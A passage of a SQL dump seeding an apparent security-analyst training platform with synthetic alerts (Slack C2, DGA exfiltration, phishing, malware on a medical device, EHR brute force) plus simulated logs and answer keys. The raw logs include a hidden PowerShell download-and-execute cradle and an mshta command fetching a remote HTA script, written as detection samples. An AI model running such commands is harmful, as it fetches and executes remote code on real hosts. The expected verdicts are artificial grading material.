1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T07:40:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.120\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"serviceaccount\\\",\\\"hostname\\\":\\\"SERVER-02\\\",\\\"command_line\\\":\\\"mshta.exe http://intranet.example.com/script.hta\\\",\\\"domain\\\":\\\"intranet.example.com\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.255Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T07:40:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.120\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"serviceaccount\\\",\\\"hostname\\\":\\\"SERVER-02\\\",\\\"command_line\\\":\\\"mshta.exe http://intranet.example.com/script.hta\\\",\\\"domain\\\":\\\"intranet.example.com\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.255Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T07:40:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.120\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"serviceaccount\\\",\\\"hostname\\\":\\\"SERVER-02\\\",\\\"command_line\\\":\\\"mshta.exe http://intranet.example.com/script.hta\\\",\\\"domain\\\":\\\"intranet.example.com\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.255Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T07:40:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.120\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"serviceaccount\\\",\\\"hostname\\\":\\\"SERVER-02\\\",\\\"command_line\\\":\\\"mshta.exe http://intranet.example.com/script.hta\\\",\\\"domain\\\":\\\"intranet.example.com\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(617, 'Advanced Persistent Threat Detected: Multi-hop C2 Communication via Slack', 'critical', 'CrowdStrike', 'An APT group has been detected using a multi-hop C2 communication channel through Slack to control a compromised system. The attack involves memory-only payloads and process hollowing techniques.', 'Malware', 'T1095', 1, 'resolved', NULL, '{\"timestamp\":\"2026-01-11T11:00:22Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.10\",\"dst_ip\":\"203.0.113.200\",\"username\":\"jdoe\",\"hostname\":\"CORP-DESKTOP01\",\"command_line\":\"powershell.exe -nop -w hidden -c IEX ((New-Object Net.WebClient).DownloadString(\'https://slack.com/api/secret\'))\",\"file_hash\":\"e99a18c428cb38d5f260853678922e03\",\"domain\":\"slack.com\"}', '2026-01-11 06:23:43', '2026-02-16 18:02:47', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of compromised host\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.200\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 1023 times for C2 activities\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"powershell.exe -nop -w hidden -c IEX ((New-Object Net.WebClient).DownloadString(\'https://slack.com/api/secret\'))\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Suspicious PowerShell command indicative of fileless malware\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash matches known malware sample associated with APT activity\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The use of Slack as a C2 channel and the memory-only payload suggests a sophisticated APT attack leveraging legitimate services.\"}', 'Expert', 'EDR', 9, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(618, 'DGA Domain Detected for Data Exfiltration', 'high', 'Splunk', 'A domain generated algorithmically has been detected, suggesting data exfiltration attempts from an internal server. The domain is associated with fast-flux DNS to evade detection.', 'Data Exfiltration', 'T1071', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T02:45:10Z\",\"event_type\":\"dns_request\",\"src_ip\":\"10.0.0.25\",\"domain\":\"xkjasd1234.info\",\"username\":\"svc-backup\",\"hostname\":\"SRV-BACKUP01\"}', '2026-01-10 18:00:27', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.25\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the server involved in suspicious DNS requests\"}},{\"id\":\"artifact_2\",\"type\":\"domain\",\"value\":\"xkjasd1234.info\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"Domain identified as part of a DGA associated with data exfiltration\"}}],\"expected_actions\":[\"block_ip\",\"block_domain\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The DGA domain and fast-flux DNS indicate a sophisticated data exfiltration attempt, likely part of an ongoing APT campaign.\"}', 'Expert', 'SIEM', 9, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.258Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T02:45:10Z\\\",\\\"event_type\\\":\\\"dns_request\\\",\\\"src_ip\\\":\\\"10.0.0.25\\\",\\\"domain\\\":\\\"xkjasd1234.info\\\",\\\"username\\\":\\\"svc-backup\\\",\\\"hostname\\\":\\\"SRV-BACKUP01\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.258Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T02:45:10Z\\\",\\\"event_type\\\":\\\"dns_request\\\",\\\"src_ip\\\":\\\"10.0.0.25\\\",\\\"domain\\\":\\\"xkjasd1234.info\\\",\\\"username\\\":\\\"svc-backup\\\",\\\"hostname\\\":\\\"SRV-BACKUP01\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.258Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T02:45:10Z\\\",\\\"event_type\\\":\\\"dns_request\\\",\\\"src_ip\\\":\\\"10.0.0.25\\\",\\\"domain\\\":\\\"xkjasd1234.info\\\",\\\"username\\\":\\\"svc-backup\\\",\\\"hostname\\\":\\\"SRV-BACKUP01\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.258Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T02:45:10Z\\\",\\\"event_type\\\":\\\"dns_request\\\",\\\"src_ip\\\":\\\"10.0.0.25\\\",\\\"domain\\\":\\\"xkjasd1234.info\\\",\\\"username\\\":\\\"svc-backup\\\",\\\"hostname\\\":\\\"SRV-BACKUP01\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.258Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T02:45:10Z\\\",\\\"event_type\\\":\\\"dns_request\\\",\\\"src_ip\\\":\\\"10.0.0.25\\\",\\\"domain\\\":\\\"xkjasd1234.info\\\",\\\"username\\\":\\\"svc-backup\\\",\\\"hostname\\\":\\\"SRV-BACKUP01\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(619, 'False Positive: Suspicious Login Attempt from Known Safe Location', 'medium', 'IDS', 'Multiple login failures were detected from an external IP. However, the IP belongs to a known safe location used by a trusted vendor.', 'Credential Attack', 'T1110', 0, 'closed', NULL, '{\"timestamp\":\"2026-01-11T08:50:42Z\",\"event_type\":\"login_failure\",\"src_ip\":\"198.51.100.44\",\"dst_ip\":\"192.168.100.5\",\"username\":\"jdoe\",\"hostname\":\"CORP-DC01\",\"failed_attempts\":12}', '2026-01-11 00:32:19', '2026-02-17 05:27:43', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.44\",\"is_critical\":false,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"clean\",\"details\":\"IP address belongs to a known safe location used by a trusted vendor\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.100.5\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of domain controller\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The login failures originated from a trusted vendor\'s network, confirming benign activity.\"}', 'Expert', 'SIEM', 9, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.259Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T08:50:42Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.44\\\",\\\"dst_ip\\\":\\\"192.168.100.5\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-DC01\\\",\\\"failed_attempts\\\":12}\"},{\"timestamp\":\"2026-02-01T20:31:22.259Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T08:50:42Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.44\\\",\\\"dst_ip\\\":\\\"192.168.100.5\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-DC01\\\",\\\"failed_attempts\\\":12}\"},{\"timestamp\":\"2026-02-01T20:30:22.259Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T08:50:42Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.44\\\",\\\"dst_ip\\\":\\\"192.168.100.5\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-DC01\\\",\\\"failed_attempts\\\":12}\"},{\"timestamp\":\"2026-02-01T20:29:22.259Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T08:50:42Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.44\\\",\\\"dst_ip\\\":\\\"192.168.100.5\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-DC01\\\",\\\"failed_attempts\\\":12}\"},{\"timestamp\":\"2026-02-01T20:28:22.259Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T08:50:42Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.44\\\",\\\"dst_ip\\\":\\\"192.168.100.5\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-DC01\\\",\\\"failed_attempts\\\":12}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(620, 'Phishing Attempt Detected: Spoofed Domain and Malicious URL', 'high', 'Proofpoint', 'A phishing email was received with a spoofed domain and a malicious URL designed to harvest credentials.', 'Phishing', 'T1566', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T09:15:58Z\",\"event_type\":\"email_received\",\"email_sender\":\"noreply@secure-update.com\",\"username\":\"asmith\",\"hostname\":\"CORP-LAPTOP03\",\"url\":\"http://secure-update.com/login\",\"domain\":\"secure-update.com\"}', '2026-01-11 09:03:00', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"noreply@secure-update.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Sender domain spoofed to resemble a legitimate service\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://secure-update.com/login\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"URL identified as phishing site designed to harvest credentials\"}},{\"id\":\"artifact_3\",\"type\":\"domain\",\"value\":\"secure-update.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Domain reported for phishing activities\"}}],\"expected_actions\":[\"block_url\",\"reset_credentials\",\"block_domain\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The email\'s spoofed domain and the malicious URL were clearly intended for phishing, confirming the threat.\"}', 'Expert', 'SIEM', 9, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Phishing Attempt Detected: Spoofed Domain and Malicious URL\",\"date\":\"2026-02-01T20:32:22.260Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(621, 'Malware Detected: Known Malicious File Executed', 'critical', 'CrowdStrike', 'A malicious file with a known bad hash was executed on a host system. The file is flagged by multiple antivirus engines indicating its high threat level.', 'Malware', 'T1059', 1, 'Closed', 96, '{\"timestamp\":\"2026-01-11T10:45:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.15\",\"dst_ip\":\"203.0.113.45\",\"username\":\"jdoe\",\"hostname\":\"DESKTOP-1A2B3C\",\"command_line\":\"C:\\\\malware\\\\badfile.exe\",\"file_hash\":\"5d41402abc4b2a76b9719d911017c592\",\"domain\":\"maliciousdomain.com\"}', '2026-01-09 22:10:29', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the affected host.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"5d41402abc4b2a76b9719d911017c592\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"File hash detected as malicious by over 50 antivirus engines.\"}},{\"id\":\"artifact_3\",\"type\":\"domain\",\"value\":\"maliciousdomain.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"Domain is associated with known malware distribution.\"}}],\"expected_actions\":[\"block_hash\",\"isolate_host\",\"collect_forensics\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The execution of a known malicious file hash confirms this is a true positive malware event.\"}', 'Novice', 'EDR', 1, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(622, 'Critical Malware Detected: Trojan Executed on Host', 'critical', 'CrowdStrike', 'A known Trojan malware was executed on the host machine. The file hash matches a known malicious hash with 50+ detections on VirusTotal.', 'Malware', 'T1059', 1, 'resolved', NULL, '{\"timestamp\":\"2026-01-11T14:23:45Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.10\",\"dst_ip\":\"203.0.113.45\",\"username\":\"john.doe\",\"hostname\":\"DESKTOP-ABC123\",\"command_line\":\"C:\\\\Users\\\\john.doe\\\\AppData\\\\Roaming\\\\evil.exe\",\"file_hash\":\"1234567890abcdef1234567890abcdef1234567890abcdef1234567890abcdef\"}', '2026-01-11 14:07:44', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for brute force attacks\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"1234567890abcdef1234567890abcdef1234567890abcdef1234567890abcdef\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Detected by 60 out of 70 antivirus engines\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"C:\\\\Users\\\\john.doe\\\\AppData\\\\Roaming\\\\evil.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Command execution of known Trojan\"}},{\"id\":\"artifact_4\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Internal network address\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"block_hash\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The detected file and external IP are confirmed malicious based on multiple OSINT sources, indicating a true positive malware infection.\"}', 'Novice', 'EDR', 1, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(623, 'Critical Malware Detected on Medical Device', 'critical', 'CrowdStrike', 'A known malware signature was detected on a hospital\'s medical device, potentially compromising patient data. Immediate action is required to isolate the device to prevent data exfiltration.', 'Malware', 'T1059', 1, 'closed', NULL, '{\"timestamp\":\"2026-01-11T08:30:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.25\",\"dst_ip\":\"\",\"username\":\"nurse.jones\",\"hostname\":\"med-device-01\",\"command_line\":\"C:\\\\malware\\\\ransomware.exe\",\"file_hash\":\"e99a18c428cb38d5f260853678922e03\",\"domain\":\"\",\"url\":\"\",\"email_sender\":\"\"}', '2026-01-11 14:47:48', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash detected by 60+ AV engines as ransomware\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.25\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of compromised device\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"C:\\\\malware\\\\ransomware.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Malicious executable triggered on the device\"}}],\"expected_actions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The file hash is widely recognized as malware, indicating a true positive. Immediate isolation of the device is necessary to prevent further compromise.\"}', 'Novice', 'EDR', 1, 1, 'HEALTHCARE', NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(624, 'Brute Force Attack on EHR System', 'high', 'Wazuh', 'Multiple failed login attempts detected on the Electronic Health Record (EHR) system from a suspicious IP address, suggesting a brute force attack.', 'Brute Force', 'T1110', 0, 'resolved', NULL, '{\"timestamp\":\"2026-01-11T09:45:00Z\",\"event_type\":\"login_failure\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"192.168.2.10\",\"username\":\"admin\",\"hostname\":\"ehr-server-01\",\"request_body\":\"\",\"command_line\":\"\",\"failed_attempts\":25}', '2026-01-11 14:47:48', '2026-02-15 08:28:03', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for brute force attacks\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.2.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP of EHR server\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"admin\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Admin account targeted in brute force attack\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The external IP is known for malicious activity, confirming a true positive brute force attempt. The admin account should have its credentials reset to prevent unauthorized access.\"}', 'Novice', 'SIEM', 1, 1, 'HEALTHCARE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.264Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T09:45:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.2.10\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"ehr-server-01\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\",\\\"failed_attempts\\\":25}\"},{\"timestamp\":\"2026-02-01T20:31:22.264Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T09:45:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.2.10\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"ehr-server-01\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\",\\\"failed_attempts\\\":25}\"},{\"timestamp\":\"2026-02-01T20:30:22.264Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T09:45:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.2.10\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"ehr-server-01\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\",\\\"failed_attempts\\\":25}\"},{\"timestamp\":\"2026-02-01T20:29:22.264Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 